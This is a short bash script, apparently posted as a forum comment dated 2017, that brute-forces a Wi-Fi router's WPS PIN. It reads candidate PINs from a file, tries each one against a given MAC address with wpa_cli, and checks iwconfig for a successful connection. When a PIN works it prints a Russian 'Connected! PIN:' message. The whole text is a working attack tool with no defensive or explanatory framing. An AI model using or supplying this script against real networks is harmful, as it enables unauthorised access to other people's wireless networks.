- 01
- 02
- 03
- 04
- 05
- 06
- 07
- 08
- 09
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
- 24
- 25
- 26
- 27
- 28
- 29
#!/bin/bash
mac=$1
file=$2
count=$(cat $file|wc -l)
declare -i i=0
while ((i<count)); do
let tmp=i+1
pins[$i]=$(cat $file|head -$tmp|tail -1)
((i++))
done
((i=0))
while ((i<count)); do
echo "$i/$count"
echo "> wpa_cli wps_reg $mac ${pins[$i]}"
wpa_cli wps_reg $mac ${pins[$i]}
echo
sleep 3
iwconfig &>tmp
if grep -q $mac tmp; then
echo "Подключено! PIN: ${pins[$i]}"
rm tmp
exit 0
fi
((i++))
done
rm tmp
inho 04.09.2017 19:22 # 0